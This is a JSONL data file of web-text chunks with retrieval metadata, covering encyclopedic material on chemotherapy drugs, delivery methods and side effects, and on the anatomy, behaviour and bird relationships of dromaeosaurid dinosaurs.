stromal tumors ). these are examples of targeted therapies. in addition, some drugs that modulate tumor cell behavior without directly attacking those cells may be used. hormone treatments fall into this category. alkylating agents are so named", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.518329306290364, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.455140"} {"text": "( podophyllum hexandrum ) contains it in a much greater quantity, but, as the plant is endangered, its supply is limited. studies have been conducted to isolate the genes involved in the substance ' s production, so that it could be obtained recombinantly. the prototype taxane is the natural product paclitaxel, originally known as taxol and first derived from the bark of the pacific yew tree. docetaxel is a semi - synthetic analogue of paclitaxel. taxanes enhance stability of microtubules, preventing the separation of chromosomes during anaphase. topoisomerases are essential enzymes that maintain the topology of dna. inhibition of type i or type ii topoisomerases interferes with both transcription and replication of dna by upsetting proper dna supercoiling. - examples of type ii inhibitors include amsacrine, etoposide, etoposide phosphate, and teniposide. these are semisynthetic derivatives of epipodophyllotoxins, substances naturally occurring in the root of american mayapple ( podophyllum peltatum ). - other cytotoxic antibiotics newer and experimental approaches isolated infusion approaches isolated limb perfusion ( often used in melanoma ), or isolated infusion of chemotherapy into the liver or the lung have been used to treat some tumors. the main purpose of these approaches is to deliver a very high dose of chemotherapy to tumor sites without causing overwhelming systemic damage. these approaches can help control solitary or limited metastases, but they are by definition not systemic, and, therefore, do not treat distributed metastases or micrometastases. targeted delivery mechanisms specially targeted delivery vehicles aim to increase effective levels of chemotherapy for tumor cells while reducing effective levels for other cells. this should result in an increased tumor kill and / or reduced toxicity. specially targeted delivery vehicles have a differentially higher affinity for tumor cells by interacting with tumor - specific or tumor - associated antigens. in addition to their targeting component, they also carry a payload - whether this is a traditional chemotherapeutic agent, or a radioisotope, or an immune - stimulating factor. specially targeted delivery vehicles vary in their stability, selectivity, and choice of target, but, in essence, they all aim to increase the maximum effective dose that can be delivered to the tumor cells. reduced systemic toxicity means that they can also be used in sicker patients, and that they can carry new che", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5153349617416233, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.457745"} {"text": "and choice of target, but, in essence, they all aim to increase the maximum effective dose that can be delivered to the tumor cells. reduced systemic toxicity means that they can also be used in sicker patients, and that they can carry new chemotherapeutic agents that would have been far too toxic to deliver via traditional systemic approaches. nanoparticles have emerged as a useful vehicle for poorly soluble agents such as paclitaxel. nanoparticles made of magnetic material can also be used to concentrate agents at tumor sites using an externally applied magnetic field. electrochemotherapy is the combined treatment in which injection of a chemotherapeutic drug is followed by application of high - voltage electric pulses locally to the tumor. the treatment enables the chemotherapeutic drugs, which otherwise cannot or hardly go through the membrane of cells ( such as bleomycin and cisplatin ), to enter the cancer cells. hence, greater effectiveness of antitumor treatment is achieved. clinical electrochemotherapy has been successfully used for treatment of cutaneous and subcutaneous tumors irrespective of their histological origin. the method has been reported as safe, simple and highly effective in all reports on clinical use of electrochemotherapy. according to the esope project ( european standard operating procedures of electrochemotherapy ), the standard operating procedures ( sop ) for electrochemotherapy were prepared, based on the experience of the leading european cancer centres on electrochemotherapy. recently, new electrochemotherapy modalities have been developed for treatment of internal tumors using surgical procedures, endoscopic routes or percutaneous approaches to gain access to the treatment area. | this section does not cite any references or sources. ( january 2008 ) | dosage of chemotherapy can be difficult : if the dose is too low, it will be ineffective against the tumor, whereas, at excessive doses, the toxicity ( side - effects, neutropenia ) will be intolerable to the patient. this has led to the formation of detailed \" dosing schemes \" in most hospitals, which give guidance on the correct dose and adjustment in case of toxicity. in immunotherapy, they are in principle used in smaller dosages than in the treatment of malignant diseases. in most cases, the dose is adjusted for the patient ' s body surface area ( bsa ), a measure that correlates with", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5308092704742112, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.458705"} {"text": "to wash their hands, avoid sick people, and take other infection - reducing steps, about 85 % of infections are due to naturally occurring microorganisms in the patient ' s own gastrointestinal tract ( including oral cavity ) and skin. this may manifest as systemic infections, such as sepsis, or as localized outbreaks, such as herpes simplex, shingles, or other members of the herpesviridea. sometimes, chemotherapy treatments are postponed because the immune system is suppressed to a critically low level. - fatigue. the treatment can be physically exhausting for the patient, who might already be very tired from cancer - related fatigue. it may produce mild to severe anemia. treatments to mitigate anemia include hormones to boost blood production ( erythropoietin ), iron supplements, and blood transfusions. - tendency to bleed easily. medications that kill rapidly dividing cells or blood cells are likely to reduce the number of platelets in the blood, which can result in bruises and bleeding. extremely low platelet counts may be temporarily boosted through platelet transfusions. sometimes, chemotherapy treatments are postponed to allow platelet counts to recover. - gastrointestinal distress. nausea and vomiting are common side - effects of chemotherapeutic medications that kill fast - dividing cells. this can also produce diarrhea or constipation. malnutrition and dehydration can result when the patient does not eat or drink enough, or when the patient vomits frequently, because of gastrointestinal damage. this can result in rapid weight loss, or occasionally in weight gain, if the patient eats too much in an effort to allay nausea or heartburn. weight gain can also be caused by some steroid medications. these side - effects can frequently be reduced or eliminated with antiemetic drugs. self - care measures, such as eating frequent small meals and drinking clear liquids or ginger tea, are often recommended. this is generally a temporary effect, and frequently resolves within a week of finishing treatment. however a high index of suspicion is appropriate, since diarrhea and bloating are also symptoms of typhlitis, a very serious and potentially life - threatening medical emergency which requires immediate treatment. - hair loss. some medications that kill rapidly dividing cells cause dramatic hair loss ; other medications may cause hair to thin. these are most often temporary effects : hair usually starts to regrow a few weeks after the last treatment, sometimes with a tendency to curl,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46510636671905004, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.465144"} {"text": "loss. some medications that kill rapidly dividing cells cause dramatic hair loss ; other medications may cause hair to thin. these are most often temporary effects : hair usually starts to regrow a few weeks after the last treatment, sometimes with a tendency to curl, resulting in \" chemo curls. \" permanent hair loss can result from some standard chemotherapy regimens. scalp cooling offers a means of preventing both permanent and temporary hair loss. damage to specific organs is possible : - cardiotoxicity ( heart damage ) - hepatotoxicity ( liver damage ) - nephrotoxicity ( kidney damage ) - ototoxicity ( damage to the inner ear ), producing vertigo - encephalopathy ( brain dysfunction ) immunosuppression and myelosuppression virtually all chemotherapeutic regimens can cause depression of the immune system, often by paralysing the bone marrow and leading to a decrease of white blood cells, red blood cells, and platelets. anemia and thrombocytopenia, when they occur, are improved with blood transfusion. neutropenia ( a decrease of the neutrophil granulocyte count below 0. 5 x 109 / litre ) can be improved with synthetic g - csf ( granulocyte - colony - stimulating factor, e. g., filgrastim, lenograstim ). in very severe myelosuppression, which occurs in some regimens, almost all the bone marrow stem cells ( cells that produce white and red blood cells ) are destroyed, meaning allogenic or autologous bone marrow cell transplants are necessary. ( in autologous bmts, cells are removed from the patient before the treatment, multiplied and then re - injected afterward ; in allogenic bmts, the source is a donor. ) however, some patients still develop diseases because of this interference with bone marrow. due to immune system suppression, typhlitis is a \" life - threatening gastrointestinal complication of chemotherapy. \" typhlitis is an intestinal infection which may manifest itself through symptoms including nausea, vomiting, diarrhea, a distended abdomen, fever, chills, or abdominal pain and tenderness. typhlitis is a medical emergency. it has a very poor prognosis and is often fatal unless promptly recognized and aggressively treated. successful treatment hinges on early diagnosis provided by a high index of suspicion and the use of ct", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.49248322214420637, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.468711"} {"text": "pain and tenderness. typhlitis is a medical emergency. it has a very poor prognosis and is often fatal unless promptly recognized and aggressively treated. successful treatment hinges on early diagnosis provided by a high index of suspicion and the use of ct scanning, nonoperative treatment for uncomplicated cases, and sometimes elective right hemicolectomy to prevent recurrence. chemotherapy - induced nausea and vomiting ( cinv ) nausea and vomiting are two of the most feared cancer treatment - related side - effects for cancer patients and their families. in 1983, coates et al. found that patients receiving chemotherapy ranked nausea and vomiting as the first - and second - most - severe side - effects, respectively. up to 20 % of patients receiving highly emetogenic agents in this era postponed, or even refused, potentially curative treatments. chemotherapy - induced nausea and vomiting ( cinv ) are common with many treatments and some forms of cancer. since the 1990s, several novel classes of antiemetics have been developed and commercialized, becoming a nearly universal standard in chemotherapy regimens, and helping to successfully manage these symptoms in a large portion of patients. effective mediation of these unpleasant and sometimes - crippling symptoms results in increased quality of life for the patient and more efficient treatment cycles, due to less stoppage of treatment due to better tolerance by the patient, and due to better overall health of the patient. development of secondary neoplasia after successful chemotherapy and / or radiotherapy treatment can occur. the most common secondary neoplasm is secondary acute myeloid leukemia, which develops primarily after treatment with alkylating agents or topoisomerase inhibitors. survivors of childhood cancer are more than 13 times as likely to get a secondary neoplasm during the 30 years after treatment than the general population. not all of this increase can be attributed to chemotherapy. some types of chemotherapy are gonadotoxic and may cause infertility. chemotherapies with high risk include procarbazine and other alkylating drugs such as cyclophosphamide, ifosfamide, busulfan, melphalan, chlorambucil, and chlormethine. drugs with medium risk include doxorubicin and platinum analogs such as cisplatin and carboplatin. on the other hand, therapies with low risk of gonadotoxicity include plant derivatives such as vincristine and vinblastine, antibiotics such as", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4547651047779519, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.469823"} {"text": "and platinum analogs such as cisplatin and carboplatin. on the other hand, therapies with low risk of gonadotoxicity include plant derivatives such as vincristine and vinblastine, antibiotics such as bleomycin and dactinomycin, and antimetabolites such as methotrexate, mercaptopurine, and 5 - fluorouracil. female infertility by chemotherapy appears to be secondary to premature ovarian failure by loss of primordial follicles. this loss is not necessarily a direct effect of the chemotherapeutic agents, but could be due to an increased rate of growth initiation to replace damaged developing follicles. patients may choose between several methods of fertility preservation prior to chemotherapy, including cryopreservation of semen, ovarian tissue, oocytes, or embryos. as more than half of cancer patients are elderly, this adverse effect is only relevant for a minority of patients. chemotherapy is potentially teratogenic during pregnancy, especially during the first trimester, to the extent that abortion usually is recommended if pregnancy in this period is found during chemotherapy. second - and third - trimester exposure does not usually increase the teratogenic risk and adverse effects on cognitive development, but it may increase the risk of various complications of pregnancy and fetal myelosuppression. in males previously having undergone chemotherapy or radiotherapy, there appears to be no increase in genetic defects or congenital malformations in their children conceived after therapy. the use of assisted reproductive technologies and micromanipulation techniques might increase this risk. in females previously having undergone chemotherapy, miscarriage and congenital malformations are not increased in subsequent conceptions. however, when in vitro fertilization and embryo cryopreservation is practised between or shortly after treatment, possible genetic risks to the growing oocytes exist, and hence it has been recommended that the babies be screened. neurological adverse effects reported are cytotoxic - induced neuropathy causing pain or paralysis. some patients report fatigue or non - specific neurocognitive problems, such as an inability to concentrate ; this is sometimes called post - chemotherapy cognitive impairment, referred to as \" chemo brain \" by patients ' groups. other side effects in particularly large tumors, such as large lymphomas, some patients develop tumor lysis syndrome from the rapid breakdown of malignant cells. although prophylaxis is available and is often initiated", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4863915433768065, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.473520"} {"text": "\" by patients ' groups. other side effects in particularly large tumors, such as large lymphomas, some patients develop tumor lysis syndrome from the rapid breakdown of malignant cells. although prophylaxis is available and is often initiated in patients with large tumors, this is a dangerous side - effect that can lead to death if left untreated. less common side - effects include red skin ( erythema ), dry skin, damaged fingernails, a dry mouth ( xerostomia ), water retention, and sexual impotence. some medications can trigger allergic or pseudoallergic reactions. specific chemotherapeutic agents are associated with organ - specific toxicities, including cardiovascular disease ( e. g., doxorubicin ), interstitial lung disease ( e. g., bleomycin ) and occasionally secondary neoplasm ( e. g., mopp therapy for hodgkin ' s disease ). chemotherapy does not always work, and even when it is useful, it may not completely destroy the cancer. patients frequently fail to understand its limitations. in one study of patients who had been newly diagnosed with incurable, stage 4 cancer, more than two - thirds of patients with lung cancer and more than four - fifths of patients with colorectal cancer still believed that chemotherapy was likely to cure their cancer. healthcare workers exposed to antineoplastic agents take precautions to keep their exposure to a minimum. there is a limitation in cytotoxics dissolution in australia and the united states to 20 dissolutions per pharmacist / nurse, since pharmacists that prepare these drugs or nurses that may prepare or administer them are the two occupational groups with the highest potential exposure to antineoplastic agents. in addition, physicians and operating room personnel may also be exposed through the treatment of patients. hospital staff, such as shipping and receiving personnel, custodial workers, laundry workers, and waste handlers, all have potential exposure to these drugs during the course of their work. the increased use of antineoplastic agents in veterinary oncology also puts these workers at risk for exposure to these drugs. in other animals chemotherapy is used in veterinary medicine similar to in human medicine. - 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( 2009 ). \" electrochemotherapy as an adjunct or alternative to other treatments for unresectable or in - transit melanoma \". expert rev anticancer ther 9 ( 11 ) : 1611 \u2013 1630. doi : 10. 1586 / era. 09. 129. pmid 19895245. - testori a, tosti g, martinoli c, spadola g, cataldo f, verrecchia f, baldini f, mosconi m, soteldo j, tedeschi i, passoni c, pari c, di pietro a, ferrucci pf ( 2010 ). \" electrochemotherapy for cutaneous and subcutaneous tumor lesions : a novel therapeutic approach \". dermatol ther 23 ( 6 ) : 651 \u2013 661. doi : 10. 1111 / j. 1529 - 80", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5091781270493609, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 15, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.481218"} {"text": "##chemotherapy for cutaneous and subcutaneous tumor lesions : a novel therapeutic approach \". dermatol ther 23 ( 6 ) : 651 \u2013 661. doi : 10. 1111 / j. 1529 - 8019. 2010. 01370. x. pmid 21054709. - hampton t ( 2011 ). \" electric pulses help with chemotherapy, may open new paths for other agents \". jama 305 ( 6 ) : 549 \u2013 551. doi : 10. 1001 / jama. 2011. 92. pmid 21304073. - mir lm, gehl j, sersa g, collins cg, garbay jr, billard v, geertsen pf, rudolf z, o \u2019 sullivan gc, marty m ( 2006 ). \" standard operating procedures of the electrochemotherapy : instructions for the use of bleomycin or cisplatin administered either systemically or locally and electric pulses delivered by the cliniporatortm by means of invasive or non - invasive electrodes \". eur j cancer suppl 4 ( 11 ) : 14 \u2013 25. doi : 10. 1016 / j. ejcsup. 2006. 08. 003. - soden dm, larkin jo, collins cg, tangney m, aarons s, piggott j, morrissey a, dunne c, o \u2019 sullivan gc ( 2006 ). \" successful application of targeted electrochemotherapy using novel flexible electrodes and low dose bleomycin to solid tumours \". cancer lett 232 ( 2 ) : 300 \u2013 310. doi : 10. 1016 / j. canlet. 2005. 03. 057. pmid 15964138. - miklavcic d, snoj m, zupanic a, kos b, cemazar m, kropivnik m, bracko m, pecnik t, gadzijev e, sersa g. ( 2010 ). \" towards treatment planning and treatment of deep - seated solid tumors by electrochemotherapy \". biomed eng online 9 ( 1 ) : 10. doi : 10. 1186 / 1475 - 925x - 9 - 10. - what are common side effects? from the american cancer society - huang, elbert s. ( 2000 ). internal medicine : handbook for clinicians, resident survival guide. arlington,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.516246789391695, "token_count": 510, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 16, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.485621"} {"text": "temporal range : middle jurassic \u2013 late cretaceous, 164 \u2013 65. 5ma | deinonychus antirrhopus ( large ) and buitreraptor gonzalezorum ( small ), field museum of natural history | matthew & brown, 1922 matthew & brown, 1922 matthew & brown, 1922 ornithodesmidae hooley, 1913 dromaeosauridae is a family of bird - like theropod dinosaurs. they were small - to medium - sized feathered carnivores that flourished in the cretaceous period. the name dromaeosauridae means ' running lizards ', from greek dromeus ( \u03b4\u03c1\u03bf\u03bc\u03b5\u03c5\u03c2 ) meaning ' runner ' and sauros ( \u03c3\u03b1\u03c5\u03c1\u03bf\u03c2 ) meaning ' lizard '. in informal usage they are often called raptors ( after velociraptor ), a term popularized by the film jurassic park ; a few types include the term \" raptor \" directly in their name and have come to emphasize their supposed bird - like habits. dromaeosaurid fossils have been found in north america, europe, africa, japan, china, mongolia, madagascar, argentina, and antarctica. they first appeared in the mid - jurassic period ( late bathonian stage, about 164 million years ago ) and survived until the end of the cretaceous ( maastrichtian stage, 65. 5 ma ), existing for over 100 million years, up until the cretaceous \u2013 paleogene extinction event. the presence of dromaeosaurs as early as the middle jurassic has been confirmed by the discovery of isolated fossil teeth, though no dromaeosaurid body fossils have been found from this period. the distinctive dromaeosaurid body plan helped to rekindle theories that at least some dinosaurs may have been active, fast, and closely related to birds. robert bakker \u2019 s illustration for john ostrom \u2019 s 1969 monograph, showing the dromaeosaurid deinonychus in a fast run, is among the most influential paleontological reconstructions in history. the dromaeosaurid body plan includes a relatively large skull, serrated teeth, narrow snout, and forward - facing eyes which indicate some degree of binocular vision. dromaeosaurids, like most other theropods, had a moderately long s - curved neck, and their trunk was relatively short and deep. like other maniraptorans, they had long arms that could be folded against the body in some species,", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4398045722229415, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.554982"} {"text": "shaped claws. dromaeosaurids had long tails. most of the tail vertebrae bear bony, rod - like extensions, as well as bony tendons in some species. in his study of deinonychus, ostrom proposed that these features stiffened the tail so that it could only flex at the base, and the whole tail would then move as a single, rigid, lever. however, one well - preserved specimen of velociraptor mongoliensis ( igm 100 / 986 ) has an articulated tail skeleton that is curved horizontally in a long s - shape. this suggests that, in life, the tail could bend from side to side with a substantial degree of flexibility. it has been proposed that this tail was used as a stabilizer and / or counterweight while running or in the air ; in microraptor, an elongate diamond - shaped fan of feathers is preserved on the end of the tail. this may have been used as an aerodynamic stabilizer and rudder during gliding and / or powered flight ( see \" flight and gliding \" below ). dromaeosaurids were small to medium - sized dinosaurs, ranging from about 0. 7 metres ( 2. 3 ft ) in length ( in the case of mahakala ) to over 6 metres ( 20 ft ) ( in utahraptor and achillobator ). some may have grown larger ; undescribed specimens of utahraptor in brigham young university collections belonged to individuals that may have reached up to 11 m ( 36 ft ) long, though these await more detailed study. large size appears to have evolved at least twice among dromaeosaurids ; once among the dromaeosaurines utahraptor and achillobator, and again among the unenlagiines ( austroraptor, which measured 5 metres ( 16 ft ) long ). a possible third lineage of giant dromaeosaurs is represented by isolated teeth found on the isle of wight, england. the teeth belong to an animal the size of the dromaeosaurine utahraptor, but they appear to belong to velociraptorines, judging by the shape of the teeth. mahakala is both the most primitive dromaeosaurid ever described and the smallest. this evidence, combined with the small size of other primitive relatives such as microraptor and the troodontid anchiornis, indicates that the common ancestor of dromaeosaurids,", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.47856841085049073, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.557132"} {"text": "all members of the family retained feathers. there is currently disagreement about the function of the enlarged \" sickle claw \" on the second toe. when john ostrom described it for deinonychus in 1969, he interpreted the claw as a blade - like slashing weapon, much like the canines of some saber - toothed cats, used with powerful kicks to cut into prey. adams ( 1987 ) suggested that the talon was used to disembowel large ceratopsian dinosaurs. the interpretation of the sickle claw as a killing weapon applied to all dromaeosaurids. however, manning et al. argued that the claw instead served as a hook, reconstructing the keratinous sheath with an elliptical cross section, instead of the previously inferred inverted teardrop shape. in manning ' s interpretation, the second toe claw would be used as a climbing aid when subduing bigger prey and also as stabbing weapon. ostrom compared deinonychus to the ostrich and cassowary. he noted that the bird species can inflict serious injury with the large claw on the second toe. the cassowary has claws up to 125 millimetres ( 4. 9 in ) long. ostrom cited gilliard ( 1958 ) in saying that they can sever an arm or disembowel a man. kofron ( 1999 and 2003 ) studied 241 documented cassowary attacks and found that one human and two dogs had been killed, but no evidence that cassowaries can disembowel or dismember other animals. cassowaries use their claws to defend themselves, to attack threatening animals, and in agonistic displays such as the bowed threat display. the seriema also has an enlarged second toe claw, and uses it to tear apart small prey items for swallowing. phillip manning and colleagues ( 2009 ) attempted to test the function of the sickle claw and similarly shaped claws on the forelimbs. they analyzed the bio - mechanics of how stresses and strains would be distributed along the claws and into the limbs, using x - ray imaging to create a three dimensional contour map of a forelimb claw from velociraptor. for comparison, they analyzed the construction of a claw from a modern predatory bird, the eagle owl. they found that, based on the way that stress was conducted along the claw, they were ideal for climbing. the scientists found that the sharpened tip of the claw was a puncturing and gripping instrument, while the curved", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46617363807361695, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.560196"} {"text": "predatory bird, the eagle owl. they found that, based on the way that stress was conducted along the claw, they were ideal for climbing. the scientists found that the sharpened tip of the claw was a puncturing and gripping instrument, while the curved and expanded claw base helped transfer stress loads evenly. the manning team also compared the curvature of the dromaeosaurid \" sickle claw \" on the foot with curvature in modern birds and mammals. previous studies had shown that the amount of curvature in a claw corresponded to what lifestyle the animal has : animals with strongly curved claws of a certain shape tend to be climbers, while straighter claws indicate ground - dwelling lifestyles. the sickle - claws of the dromaeosaurid deinonychus have a curvature of 160 degrees, well within the range of climbing animals. the forelimb claws they studied also fell within the climbing range of curvature. paleontologist peter mackovicky commented on the manning team ' s study, stating that small, primitive dromaeosaurids ( such as microraptor ) were likely to have been tree - climbers, but that climbing did not explain why later, gigantic dromaeosaurids such as achillobator retained highly curved claws when they were too large to have climbed trees. mackovickey speculated that giant dromaeosaurids may have adapted the claw to be used exclusively for latching on to prey. in 2009 phil senter published a study on dromaeosaurid toes and showed that their range of motion was compatible with the excavation of tough insect nests. senter suggested that small dromaeosaurids such as rahonavis and buitreraptor were small enough to be partial insectivores, while larger genera such as deinonychus and neuquenraptor could have used this ability to catch vertebrate prey residing in insect nests. however, senter did not test whether the strong curvature of dromaeosaurid claws was also conductive to such activities. in 2011, denver fowler and colleagues suggested a new method by which dromaeosaurs may have taken smaller prey. this model, known as the \" raptor prey restraint \" ( rpr ) model of predation, proposes that dromaeosaurs killed their prey in a manner very similar to extant accipitrid birds of prey : by leaping onto their quarry, pinning it under their body weight, and gripping it tightly with the large, sickle - shaped claws.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48644689235196464, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.561458"} {"text": "dromaeosaurs killed their prey in a manner very similar to extant accipitrid birds of prey : by leaping onto their quarry, pinning it under their body weight, and gripping it tightly with the large, sickle - shaped claws. like accipitrids, the dromaeosaur would then begin to feed on the animal while still alive, until it eventually died from blood loss and organ failure. this proposal is based primarily on comparisons between the morphology and proportions of the feet and legs of dromaeosaurs to several groups of extant birds of prey with known predatory behaviors. fowler found that the feet and legs of dromaeosaurs most closely resemble those of eagles and hawks, especially in terms of having an enlarged second claw and a similar range of grasping motion. the short metatarsus and foot strength, however, would have been more similar to that of owls. the rpr method of predation would be consistent with other aspects of dromaeosaurid anatomy, such as their unusual dentition and arm morphology. the arms, which could exert a lot of force but were likely covered in long feathers, may have been used as flapping stabilizers for balance while atop a struggling prey animal, along with the stiff counterbalancing tail. dromaeosaurid jaws, thought by fowler and colleagues to be comparatively weak, would have been useful for eating prey alive but not as useful for quick, forceful dispatch of the prey. these predatory adaptations working together may also have implications for the origin of flapping in paravians. deinonychus fossils have been uncovered in small groups near the remains of the herbivore tenontosaurus, a larger ornithischian dinosaur. this had been interpreted as evidence that these dromaeosaurs hunted in coordinated packs like some modern mammals. however, not all paleontologists found the evidence conclusive, and a subsequent study published in 2007 by roach and brinkman suggests that the deinonychus may have actually displayed a disorganized mobbing behavior. modern diapsids, including birds and crocodiles ( the closest relatives of dromaeosaurs ), display minimal cooperative hunting ; instead, they are usually either solitary hunters, or are drawn to previously killed carcasses, where conflict often occurs between individuals of the same species. for example, in situations where groups of komodo dragons are eating together, the largest individuals eat first and might attack smaller komodo dragons that attempt to feed ; if the smaller animal", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4409942849764467, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.565053"} {"text": ", where conflict often occurs between individuals of the same species. for example, in situations where groups of komodo dragons are eating together, the largest individuals eat first and might attack smaller komodo dragons that attempt to feed ; if the smaller animal dies, it is usually cannibalized. when this information is applied to the sites containing putative pack - hunting behavior in dromaeosaurs, it appears somewhat consistent with a komodo - or crocodile - like feeding strategy. deinonychus skeletal remains found at these sites are from subadults, with missing parts that may have been eaten by other deinonychus, which a study by roach et al. presented as evidence against the idea that the animals cooperated in the hunt. in 2007, scientists described the first known extensive dromaeosaur trackway, in shandong, china. in addition to confirming the hypothesis that the sickle - claw was held retracted off the ground, the trackway ( made by a large, achillobator - sized species ) showed evidence of six individuals of about equal size moving together along a shoreline. the individuals were spaced about one meter apart, and retained the same direction of travel, walking at a fairly slow pace. the authors of the paper describing these footprints interpreted the trackways as evidence that some species of dromaeosaurs lived in groups. while the trackways clearly do not represent hunting behavior, the idea that groups of dromaeosaurs may have hunted together, according to the authors, could not be ruled out. flying and gliding the ability to fly or glide has been suggested for at least two dromaeosaurid species. the first, rahonavis ostromi ( originally classified as avian bird, but found to be a dromaeosaurid in later studies ) may have been capable of powered flight, as indicated by its long forelimbs with evidence of quill knob attachments for long sturdy flight feathers. the forelimbs of rahonavis were more powerfully built than archaeopteryx, and show evidence that they bore strong ligament attachments necessary for flapping flight. luis chiappe concluded that, given these adaptations, rahonavis could probably fly but would have been more clumsy in the air than modern birds. another species of dromaeosaurid, microraptor gui, may have been capable of gliding using its well - developed wings on both the fore and hind limbs. a 2005 study by sankar chatterjee suggested", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.49471037453356626, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.565989"} {"text": "the air than modern birds. another species of dromaeosaurid, microraptor gui, may have been capable of gliding using its well - developed wings on both the fore and hind limbs. a 2005 study by sankar chatterjee suggested that the wings of microraptor functioned like a split - level \" biplane \", and that it likely employed a phugoid style of gliding, in which it would launch from a perch and swoop downward in a ' u ' shaped curve, then lift again to land on another tree, with the tail and hind wings helping to control its position and speed. chatterjee also found that microraptor had the basic requirements to sustain level powered flight in addition to gliding. comparisons between the scleral rings of several dromaeosaurids ( microraptor, sinornithosaurus, and velociraptor ) and modern birds and reptiles indicate that some dromaeosaurids ( including microraptor and velociraptor ) may have been nocturnal predators, while sinornithosaurus is inferred to be cathemeral ( active throughout the day at short intervals ). however, the discovery of iridescent plumage in microraptor has cast doubt on the inference of nocturnality in this genus, as no modern birds that have iridescent plumage are known to be nocturnal. studies of the olfactory bulbs of dromaeosaurids reveal that they had similar olfactory ratios for their size to other non - avian theropods and modern birds with an acute sense of smell, such as tyrannosaurids and the turkey vulture, probably reflecting the importance of the olfactory sense in the daily activities of dromaeosaurids such as finding food. in 2001, bruce rothschild and others published a study examining evidence for stress fractures and tendon avulsions in theropod dinosaurs and the implications for their behavior. since stress fractures are caused by repeated trauma rather than singular events they are more likely to be caused by regular behavior than other types of injuries. the researchers found lesion like those caused by stress fractures on a dromaeosaurid hand claw, one of only two such claw lesions discovered in the course of the study. stress fractures in the hands have special behavioral significance compared to those found in the feet since stress fractures there can be obtained while running or during migration. hand injuries, by contrast, are more likely to be obtained while in contact with struggling prey. relationship with birds droma", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5016258403918015, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.566998"} {"text": "the hands have special behavioral significance compared to those found in the feet since stress fractures there can be obtained while running or during migration. hand injuries, by contrast, are more likely to be obtained while in contact with struggling prey. relationship with birds dromaeosaurids share many features with early birds ( clade avialae or aves ). the precise nature of their relationship to birds has undergone a great deal of study, and hypotheses about that relationship have changed as large amounts of new evidence became available. as late as 2001, mark norell and colleagues analyzed a large survey of coelurosaur fossils and produced the tentative result that dromaeosaurids were most closely related to birds, with troodontids as a more distant outgroup. they even suggested that dromaeosauridae could be paraphyletic relative to avialae. in 2002, hwang and colleagues utilized the work of norell et al., including new characters and better fossil evidence, to determine that birds ( avialans ) were better thought of as cousins to the dromaeosaurids and troodontids. the current consensus among paleontologists agrees with the findings of hwang et al. ( 2002 ) ; that dromaeosaurids are most closely related to the troodontids, and together with the troodontids form the clade deinonychosauria. deinonychosaurians in turn are the sister taxon to avialans, and therefore the closest relatives of avialan birds. a consensus of paleontologists has concluded that there is not yet enough evidence to determine whether any dromaeosaurs could fly or glide, or whether they evolved from ancestors that could. alternative theories and flightlessness dromaeosaurids are so birdlike that they have led some researchers to argue that they would be better classified as birds. first, since they had feathers, dromaeosaurs ( along with many other coelurosaurian theropod dinosaurs ) are \u201c birds \u201d under traditional definitions of the word \u201c bird \u201d, or \u201c aves \u201d, that are based on the possession of feathers. however, other scientists, such as lawrence witmer, have argued that calling a theropod like caudipteryx a bird because it 